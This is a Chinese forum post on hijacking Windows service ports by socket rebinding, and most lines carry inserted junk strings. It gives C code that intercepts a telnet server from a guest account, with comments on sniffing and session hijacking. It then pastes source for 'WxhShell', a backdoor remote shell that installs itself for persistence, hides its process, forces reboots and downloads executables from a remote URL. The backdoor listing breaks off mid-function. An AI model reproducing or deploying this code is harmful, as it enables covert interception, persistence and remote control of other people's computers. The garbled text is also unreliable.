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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E]G#"EV!Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^kg[n908Nw  
w74 )kIi  
  saddr.sin_family = AF_INET; ^`0^|u=  
CXC,@T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QcZ*dI7]:  
l| 1O9I0Gd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /?<tjK' "H  
*#ccz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =HJ)!(  
tqI]S X  
  这意味着什么?意味着可以进行如下的攻击: th&?  
W i a%rm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tI651Wm9  
q5X \wz2N  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QWt ?` h=  
:U^!N8i"=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y\e,#y  
Af8&PhyrU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {(mT,}`4  
rn1^6qy)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sW/^82(dM  
~G0\57;h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 HsA4NRF'7  
u\~dsD2)q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r;3{%S._  
5|l&` fv`  
  #include 5DgfrX  
  #include 6=V&3|"  
  #include 1~! 4  
  #include    S}=d74(/n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =-#>NlB$w  
  int main() D{h sa  
  { 9 *>@s  
  WORD wVersionRequested; *E"QFirk0  
  DWORD ret; ;; z4EGr  
  WSADATA wsaData; sZ`C "1cX  
  BOOL val; >)g`;iO  
  SOCKADDR_IN saddr; j$%KKl8j  
  SOCKADDR_IN scaddr; Cx>iSx  
  int err; :f^ =~#!  
  SOCKET s; U\N|hw#f!!  
  SOCKET sc; ;XFo:?  
  int caddsize; 4k9O6  
  HANDLE mt; f.?p"~!  
  DWORD tid;   o(~QuHOp8>  
  wVersionRequested = MAKEWORD( 2, 2 ); j^DoILw  
  err = WSAStartup( wVersionRequested, &wsaData ); %'2DEt??  
  if ( err != 0 ) { j{)_&|^{  
  printf("error!WSAStartup failed!\n"); #X&`gDW  
  return -1; y,$kU1yH7  
  } uyr56  
  saddr.sin_family = AF_INET; 9 yH/5'  
   gg ;&a(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Rs@2Pe$3  
J7q]|9Hus|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `% sKF  
  saddr.sin_port = htons(23); (n'Mf  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MCN}p i  
  { FJ}RT*7_C  
  printf("error!socket failed!\n"); sQt]Y&_/@  
  return -1; b&k !DeE  
  } )4oTA@wR  
  val = TRUE; jYAD9v%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KiXXlaOs  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'J+dTs ;0  
  { B j!{JcM-^  
  printf("error!setsockopt failed!\n"); O+vuv,gNi  
  return -1; o!TG8aeb  
  } mjdZ^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u<`CkYT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?C#=Q6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q v/}WnBk  
YVy+1q[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /A3tY"Vn  
  { X}?`G?'  
  ret=GetLastError(); #h'F6  
  printf("error!bind failed!\n"); j6wdqa9!~  
  return -1; 5&5 x[S8  
  } l4c9.'6  
  listen(s,2); eNN)2-96  
  while(1) ?+Sjt  
  { ~9.0:Fm<  
  caddsize = sizeof(scaddr); HorFQ?8  
  //接受连接请求 C[h"w'A2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (<f`}, QxD  
  if(sc!=INVALID_SOCKET) ~m~<xtoc  
  { Wi3:;`>G<p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Gi})*U]P|  
  if(mt==NULL) |KR; $e&  
  { 8,0p14I5;  
  printf("Thread Creat Failed!\n"); v]CH L# |  
  break; c8qsp n  
  } p|Po##E}g^  
  } [d="94Ab  
  CloseHandle(mt); FX QUj&9  
  } _~f&wkc  
  closesocket(s); %u"3&kOV  
  WSACleanup(); 3D3/\E#'o  
  return 0; w i,}sEoM  
  }   yyZV/ x~  
  DWORD WINAPI ClientThread(LPVOID lpParam) -3 .Sr|t  
  { -eH5s3:A  
  SOCKET ss = (SOCKET)lpParam; Yj+p^@{S2P  
  SOCKET sc; OZ2gIK  
  unsigned char buf[4096]; n_[;2XQQ  
  SOCKADDR_IN saddr; u~Zx9>f  
  long num; U~krv> I  
  DWORD val; tHez S~t_  
  DWORD ret; g9 .b6}w!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OQt_nb#z`{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X-$~j+YC  
  saddr.sin_family = AF_INET; {j%'EJ5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #'}?.m  
  saddr.sin_port = htons(23); Zo}O,;(F5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .W _'6Q+  
  { P@ Oq'y[  
  printf("error!socket failed!\n"); i v7^ !  
  return -1; sJ{S(wpi"  
  } <d".v  
  val = 100; nCF1i2*6|"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 37Z@a!#  
  { zS]8ma  
  ret = GetLastError(); eH.~c3o  
  return -1; 9sQ7wlK  
  } {DzOXTI[Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pSM\(kVKa  
  { XJ &'4h  
  ret = GetLastError(); $)w9EGZ  
  return -1; WEgJ_dB  
  } &jJj6 +P\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $j? zEz  
  { $n |)M+d  
  printf("error!socket connect failed!\n"); |X:"AH"S  
  closesocket(sc); X wvH  
  closesocket(ss); B%P g:|  
  return -1; V^9c:!aI  
  } p*F.WxB)4  
  while(1) JHN{vB  
  { XcfvmlBoD-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `acX1YWh5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7[=MgnmuC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jQDXl  
  num = recv(ss,buf,4096,0); .wj?}Fr?97  
  if(num>0) }=.:bwX5  
  send(sc,buf,num,0); _.b^4^[  
  else if(num==0) t= =+SHGP  
  break; R(jp  
  num = recv(sc,buf,4096,0); b^WTX  
  if(num>0) Bf {h\>q  
  send(ss,buf,num,0); /DxaKZ ;b  
  else if(num==0) s,&tD WU  
  break; MM_c{gFF  
  } ~?l>QP|o  
  closesocket(ss); v<+5B5"1  
  closesocket(sc); 8UY[$lc  
  return 0 ; |Nx7jGd:i  
  } =Kf]ZKj)  
OjVI4@E;Xe  
@3T)J,f  
========================================================== NGsG4y^g?z  
;Mzy>*#$Q  
下边附上一个代码,,WXhSHELL 9|y?jb5im  
pP JhF8Dt  
========================================================== i7N|p9O.  
qX,T X 3  
#include "stdafx.h" z"[}Sk  
rUJIf;Zwo  
#include <stdio.h> {ek a xSR  
#include <string.h> z=YHRS  
#include <windows.h> r$7zk<01  
#include <winsock2.h> 1DzI@c~X  
#include <winsvc.h> /r Q4JoR>  
#include <urlmon.h> 1|U8DK  
;;r}=0V*=  
#pragma comment (lib, "Ws2_32.lib") ' 3h"Ol{b  
#pragma comment (lib, "urlmon.lib") /XfE6SBz  
rd#O ]   
#define MAX_USER   100 // 最大客户端连接数 /*v} .fH%  
#define BUF_SOCK   200 // sock buffer ",9QqgY+  
#define KEY_BUFF   255 // 输入 buffer M`1pze_A  
Sz z:$!t  
#define REBOOT     0   // 重启 <$H-/~Y  
#define SHUTDOWN   1   // 关机 X,+M?  
HN7C+e4U~  
#define DEF_PORT   5000 // 监听端口 X:3W9`s )*  
=\[}@Kh  
#define REG_LEN     16   // 注册表键长度 2h:*lV^  
#define SVC_LEN     80   // NT服务名长度 uH"W07  
YfB8  
// 从dll定义API QC/%|M0 {  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); > St]MS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \piHdVD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,\2w+L5TD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J 'qhY'te  
o3=2`BvJ  
// wxhshell配置信息 1MVzu7  
struct WSCFG { ^p@ #  
  int ws_port;         // 监听端口 8ux?K5_  
  char ws_passstr[REG_LEN]; // 口令 d :(&q  
  int ws_autoins;       // 安装标记, 1=yes 0=no x'OYJ>l|  
  char ws_regname[REG_LEN]; // 注册表键名 I=vGS  
  char ws_svcname[REG_LEN]; // 服务名 o8Q+hZB}A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Zndv!z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g`NJ `  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ms * `w5n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !:zWhu,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i'6>_,\(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Imv ]V6"D=  
!Z0p94L  
}; iS/faXe5  
f_{O U E  
// default Wxhshell configuration vC j, aSW  
struct WSCFG wscfg={DEF_PORT, R WfC2$z  
    "xuhuanlingzhe", \DDR l{  
    1, p|q}z/  
    "Wxhshell", dE ,NG)MH  
    "Wxhshell", VZ o,AP~  
            "WxhShell Service", U/p|X)  
    "Wrsky Windows CmdShell Service", ke~S[bL%-  
    "Please Input Your Password: ", W.|r=   
  1, D(z}c,  
  "http://www.wrsky.com/wxhshell.exe", 7ThGF  
  "Wxhshell.exe" L5wrc4  
    }; T^b62j'b5_  
PF6w'T 5  
// 消息定义模块 7BNu.5*y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vm_<eyI2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ` D9sEt_/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n"Gow/-;  
char *msg_ws_ext="\n\rExit."; q8Z,XfF^S  
char *msg_ws_end="\n\rQuit."; ..Dr?#Cr  
char *msg_ws_boot="\n\rReboot..."; &I=27!S  
char *msg_ws_poff="\n\rShutdown..."; v&#=1Zb  
char *msg_ws_down="\n\rSave to "; 1G6 %?Iph  
<aScA`\B#  
char *msg_ws_err="\n\rErr!"; M@ TXzn!&o  
char *msg_ws_ok="\n\rOK!"; et-<ib<lY  
r=S6yq}  
char ExeFile[MAX_PATH]; \NgBF  
int nUser = 0; &IZthJqV  
HANDLE handles[MAX_USER]; GM{J3O=  
int OsIsNt; FxK2 1  
S8S<>W  
SERVICE_STATUS       serviceStatus; >sfH[b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zfexaf!  
AhNy+p{  
// 函数声明 M~o\K'  
int Install(void); 'K8emt$d+  
int Uninstall(void); i!tF{'*%#  
int DownloadFile(char *sURL, SOCKET wsh); $h)VKW^\  
int Boot(int flag); *  11|P  
void HideProc(void); 2u=Nb0  
int GetOsVer(void); z}gfH|  
int Wxhshell(SOCKET wsl); `3QAXDWE  
void TalkWithClient(void *cs); (*XSr Q  
int CmdShell(SOCKET sock); L)mb.U$`c|  
int StartFromService(void); r6u ) 6J=  
int StartWxhshell(LPSTR lpCmdLine); c^%vyBMY  
<* 4'H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |cBeyqr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E\GD hfTQ  
dM^1O-K:  
// 数据结构和表定义 }}cS-p  
SERVICE_TABLE_ENTRY DispatchTable[] = \/ 9s<  
{ s?}m~Pl  
{wscfg.ws_svcname, NTServiceMain}, sz?/4tY  
{NULL, NULL} l+V#`S*q  
}; h^`!kp  
R, J(]ew  
// 自我安装 4/Wqeq,E8  
int Install(void) W/?\8AE  
{ L'KgB=5K&i  
  char svExeFile[MAX_PATH]; Cnv M>]  
  HKEY key; @71n{9  
  strcpy(svExeFile,ExeFile); L{i,.aE/nO  
[=otgVteN"  
// 如果是win9x系统,修改注册表设为自启动 *pOdM0AE  
if(!OsIsNt) { .=u8`,sO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sC^9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kpQXnDm 2  
  RegCloseKey(key); !K0:0:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zHT22o56X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SFaG`T=  
  RegCloseKey(key); i_KAD U&mP  
  return 0; ~Wox"h}(  
    } K9@F1ccQ/  
  } 2b`3"S  
} u*:;O\6l  
else { 13lJq:bM  
tu%!j}3s  
// 如果是NT以上系统,安装为系统服务 ZB|y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W  :qQ  
if (schSCManager!=0) VD).UdUn  
{ O:hCUr  
  SC_HANDLE schService = CreateService b;AGw3SF  
  ( (n>gC  
  schSCManager, F6vN{ FI  
  wscfg.ws_svcname, C@$!'^ 61  
  wscfg.ws_svcdisp, z;F6:aBa  
  SERVICE_ALL_ACCESS, 8=!BtMd"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lJR  
  SERVICE_AUTO_START, o2J-&   
  SERVICE_ERROR_NORMAL, a7_&;  
  svExeFile, ZtFOIb*  
  NULL, (oKrIm  
  NULL, ;@&mR <5j  
  NULL, TS~>9h\;  
  NULL, b_p/ 1W:  
  NULL yN4K^#  
  ); Uql|32j  
  if (schService!=0) U11bQ4ak  
  {  r*gQGvc  
  CloseServiceHandle(schService); (/oHj^>3N`  
  CloseServiceHandle(schSCManager); z(yJ/~m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O6gl[aZN  
  strcat(svExeFile,wscfg.ws_svcname); tzKIi_2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @+,J^[ y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SMMsXH  
  RegCloseKey(key); UUuB Rtau  
  return 0; Ns*&;x9  
    } aJmSagr69C  
  } Rb8wq.LqD  
  CloseServiceHandle(schSCManager); 8pEiU/V  
} Tw{}Ht_Qq  
} v_7?Zik8E  
n& j@7R  
return 1; O8\dMb  
} =jWcD{;1I}  
63EwV p/|  
// 自我卸载 - %5O:n  
int Uninstall(void) I1 Jo8s  
{ 42{\u08Z  
  HKEY key; @Z fQ)q\  
*G6Py,- !f  
if(!OsIsNt) { Vo@gxC,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^V1iOf:  
  RegDeleteValue(key,wscfg.ws_regname); Wvg+5Q  
  RegCloseKey(key); }ob&d.XZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .w .`1 g   
  RegDeleteValue(key,wscfg.ws_regname); )e1&[0  
  RegCloseKey(key); \@3B%RW0  
  return 0; :nYnTo`  
  } 4=T.rVS[  
} ^>3q@,C]c  
} sFvu@Wm'7W  
else { I &jiH)  
zFn!>Tqe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5Q9nJC{'NN  
if (schSCManager!=0) Tf|?j=f  
{ _~=qByD   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !(-lY(x  
  if (schService!=0) h !yu. v  
  { lh N2xg5x  
  if(DeleteService(schService)!=0) { D #`o  
  CloseServiceHandle(schService); Exy|^Dr0  
  CloseServiceHandle(schSCManager); Pa8E.<>  
  return 0; ^ |xSU_wa  
  } rQuozbBb  
  CloseServiceHandle(schService);  ./iC  
  } b#17N2xkT  
  CloseServiceHandle(schSCManager); u@"nVHgMJ  
} ;E!(W=]*F  
} >l!#_a  
++HHUM  
return 1; \Y4>_Mk  
} yqY nd<K4  
i$[wkQ>$  
// 从指定url下载文件 Al 0 i{.V  
int DownloadFile(char *sURL, SOCKET wsh) '#;%=+=;  
{ ;$\?o  
  HRESULT hr; KliMw*5(  
char seps[]= "/"; #DqVh!t"  
char *token; +J`HI1  
char *file; 0|D^_1W`R  
char myURL[MAX_PATH]; tJ_6dH8Y  
char myFILE[MAX_PATH]; pKnM=N1f  
,"@Tm01os  
strcpy(myURL,sURL); R?/!7  
  token=strtok(myURL,seps); =}$YZuzmU  
  while(token!=NULL) ?3 #W7sF  
  { ;`{PA !>  
    file=token; ;?*`WB  
  token=strtok(NULL,seps); U@6bH@v5  
  } xYgG  
_`H2CXG g  
GetCurrentDirectory(MAX_PATH,myFILE); g}vOp3 ^  
strcat(myFILE, "\\"); }:b6WN;c  
strcat(myFILE, file); )}G?^rDH(  
  send(wsh,myFILE,strlen(myFILE),0); v4pFts$J  
send(wsh,"...",3,0); <#[_S$54  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6c?;-5.  
  if(hr==S_OK) U:a-Wi+  
return 0; 5*q!:$ W  
else FLqF!N\G  
return 1;  L$Uy  
:skNEY].  
} V[w Y;wj  
%y{f] m  
// 系统电源模块 Qh0tU<jG  
int Boot(int flag) /9K,W)h_  
{ AB.gVw| 4  
  HANDLE hToken;  /z0X  
  TOKEN_PRIVILEGES tkp; L,m'/}$  
:3uCW1  
  if(OsIsNt) { hJkSk;^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J0 [^hH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "5 /i  
    tkp.PrivilegeCount = 1; iq25|{1$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &V.\Svm8]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .[@TC@W  
if(flag==REBOOT) { }k`-n32)|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l[MP|m#  
  return 0; ~_!lx  
} |#&{`3$CG[  
else { X J+y5at  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /uh?F  
  return 0; /|kR= ~  
} \A{ [2  
  } 6;O fh   
  else { c Nhy.Z~D  
if(flag==REBOOT) { P ,%IZ.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fAW(  
  return 0; c7E|GZ2Hc  
} efc<lSUR  
else { -w[j`}([P9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0`LR!X  
  return 0; !4"!PrZDB  
} S\,~6]^T  
} 0ESxsba  
e%Sw(=a  
return 1; 4(h19-V  
} ?yfw3s  
gB&8TE~Y  
// win9x进程隐藏模块 t#fbagTON  
void HideProc(void) 17\5 NgB  
{ 0wh4sKm[X  
],?rFK{O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }!&Vcf  
  if ( hKernel != NULL ) E8Rk b}  
  { D?)^{)49  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /K@_O\+;Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q& :UP  
    FreeLibrary(hKernel); y1oQ4|KSI  
  } " h D6Z  
EJ%Kr$51K  
return; ?!uj8&yyf  
} <]SI -  
BA5b;+o-  
// 获取操作系统版本 ZFJ qI  
int GetOsVer(void) o'Uaz*-po  
{ _3;vir%)  
  OSVERSIONINFO winfo; Epl\(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DCv=*=6w  
  GetVersionEx(&winfo); {\SJr:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +9tm9<F8  
  return 1; &=KNKE`  
  else U= Gw(  
  return 0;  MeP,8,n'  
} ".Z1CBM(  
VssD  
// 客户端句柄模块 hxXl0egI  
int Wxhshell(SOCKET wsl) K KCzq |  
{ {mkD{2)KQ  
  SOCKET wsh; dR^7d _!  
  struct sockaddr_in client; }.L\O]~{  
  DWORD myID; pPa3byWf  
G1X${x7  
  while(nUser<MAX_USER) !"G|y4O  
{ VbwB<nQl  
  int nSize=sizeof(client); 1-h"1UN2E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =vpXYj  
  if(wsh==INVALID_SOCKET) return 1; N084k}io  
Xf"B\%,(`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); THOXs; k0  
if(handles[nUser]==0) ^L,Uz:[J  
  closesocket(wsh); 0m,3''Q5lO  
else RRasX;zK  
  nUser++; mPmg6Qj(W  
  } S260h,(,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;RElG>#$  
Wv4x^nJ  
  return 0; 2fa1jl  
} .8v[ss6:  
iE}Lw&x  
// 关闭 socket fH> I/%  
void CloseIt(SOCKET wsh) g5\EVcHkz  
{ %mO.ur>21  
closesocket(wsh); v J_1VW  
nUser--; =B/Ac0Y  
ExitThread(0); 03!!# 5iJ  
} kdam]L:9  
L] syD n  
// 客户端请求句柄 cD6T4  
void TalkWithClient(void *cs) S, *  
{ <Rno ;  
Yu`KHvur  
  SOCKET wsh=(SOCKET)cs; Hy*_4r  
  char pwd[SVC_LEN]; W`d\A3v  
  char cmd[KEY_BUFF]; m?@0Pf}xa  
char chr[1]; g.V{CJ*V  
int i,j; ^w tr~D|  
pE~>k:  
  while (nUser < MAX_USER) { ^@4$O|3Wh'  
`1hM3N.nO  
if(wscfg.ws_passstr) { #C`IfP./  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m|c5X)}-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cb1fTl%  
  //ZeroMemory(pwd,KEY_BUFF); l)d(N7HME  
      i=0; 4(hHp6}b  
  while(i<SVC_LEN) { ,lUroO^^  
1B5 ]1&M  
  // 设置超时 zG|#__=T  
  fd_set FdRead;  d.)%C]W{  
  struct timeval TimeOut; CkHifmc(u-  
  FD_ZERO(&FdRead); X`+8r O[  
  FD_SET(wsh,&FdRead); ^T.icSxP  
  TimeOut.tv_sec=8; 8Q*477=I  
  TimeOut.tv_usec=0; Y~fa=R{W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,t!K? Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j@98UZ{g\  
mZgYR~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bo]= *  
  pwd=chr[0]; "A>/m"c]*  
  if(chr[0]==0xd || chr[0]==0xa) { %"C%pA  
  pwd=0; ;r1.Uz(  
  break; ]i@WZ(  
  } kzb%=EI  
  i++; ^=1:!'*3D  
    } =_@Q+N*]|(  
ITmW/Im5  
  // 如果是非法用户,关闭 socket W3HTQGV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); - / tzt  
} (pud`@D;[  
FL/395 <:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,5 ylrE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tg-HR8}X  
^gu;  
while(1) { >~vZ+YO  
Di^7@}kQS  
  ZeroMemory(cmd,KEY_BUFF); H*H=a  
_-mJI+^/  
      // 自动支持客户端 telnet标准   Ed^F_Gg#  
  j=0; pn._u`xMV  
  while(j<KEY_BUFF) { E979qKl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $YPQi.  
  cmd[j]=chr[0]; x392uS$#  
  if(chr[0]==0xa || chr[0]==0xd) { jWX^h^n7K  
  cmd[j]=0; :8CYTEc  
  break; D$vP&7pOr4  
  } \U\k$ (  
  j++; 7Gs0DwV  
    } ;/- X;!a>  
K;NaiRP#k  
  // 下载文件 KD*q|?Z  
  if(strstr(cmd,"http://")) { F,NS:mE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q_gsYb  
  if(DownloadFile(cmd,wsh)) ,<cF<9h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &# w~S~  
  else '-?t^@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zi4Ektj2  
  } wfJ[" q   
  else { c8=@ s#  
ZBf9Upg  
    switch(cmd[0]) { M9J^;3Lrh  
  >.}ewz&9o  
  // 帮助 ja Ot"iU.B  
  case '?': { $(PWN6{\r^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zB@@Gs>  
    break; OpT0V]k^"9  
  } 3L5o8?[  
  // 安装 Ze:Y"49S+>  
  case 'i': { 'aAay*1  
    if(Install()) rf:C B&u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 z2_b wo  
    else eCI0o5U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >RL|W}tI4  
    break; /U1 jCLR'  
    } J]=2] oI2  
  // 卸载 ,TdL-a5  
  case 'r': { >8>}o4Q/X  
    if(Uninstall()) X"z!52*3]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7K\H_YY8#  
    else gvi]#|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w-3 B~e  
    break; Z"u|-RoBV  
    } @m99xF\e  
  // 显示 wxhshell 所在路径 1r-#QuV#  
  case 'p': { #]_S)_Z-  
    char svExeFile[MAX_PATH]; 1qgzb  
    strcpy(svExeFile,"\n\r"); (8?5REz  
      strcat(svExeFile,ExeFile); w]Fi:kV  
        send(wsh,svExeFile,strlen(svExeFile),0); _;x7vRWmN  
    break; 0s%rd>3  
    } }F;Nh7?  
  // 重启 KDmzKOl  
  case 'b': { K7 N)VG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OlJkyL8|  
    if(Boot(REBOOT)) zV<vwIUrr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dqu][~oQ  
    else { LmA IvEr  
    closesocket(wsh); <s737Rl  
    ExitThread(0); SA'c}gP  
    } oO 8opS7F  
    break; .^} vDA  
    } ::Nhs/B/  
  // 关机 7Hm/ g  
  case 'd': { `Y5{opG7-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9"TPAywd  
